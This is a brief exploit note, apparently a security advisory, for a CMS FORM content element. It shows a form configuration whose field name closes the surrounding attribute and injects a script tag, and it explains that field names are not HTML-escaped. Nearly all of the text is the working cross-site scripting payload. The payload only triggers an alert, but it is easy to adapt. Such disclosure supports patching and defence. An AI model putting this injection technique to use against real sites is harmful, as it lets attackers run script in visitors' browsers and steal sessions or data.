Exploit Code:
Put this in the content element FORM:
Name: | *name=input,40 | Enter your name here
Email: | *email=input,40
| formtype_mail=submit | Send form!
| html_enabled=hidden | 1
| subject=hidden | This is the subject
| fooar" /><script>alert(123)</script><input type="hidden" name="bazbaz=hidden | This is baz
The problem relies in the fact that the fieldname doesn't get HSCed.
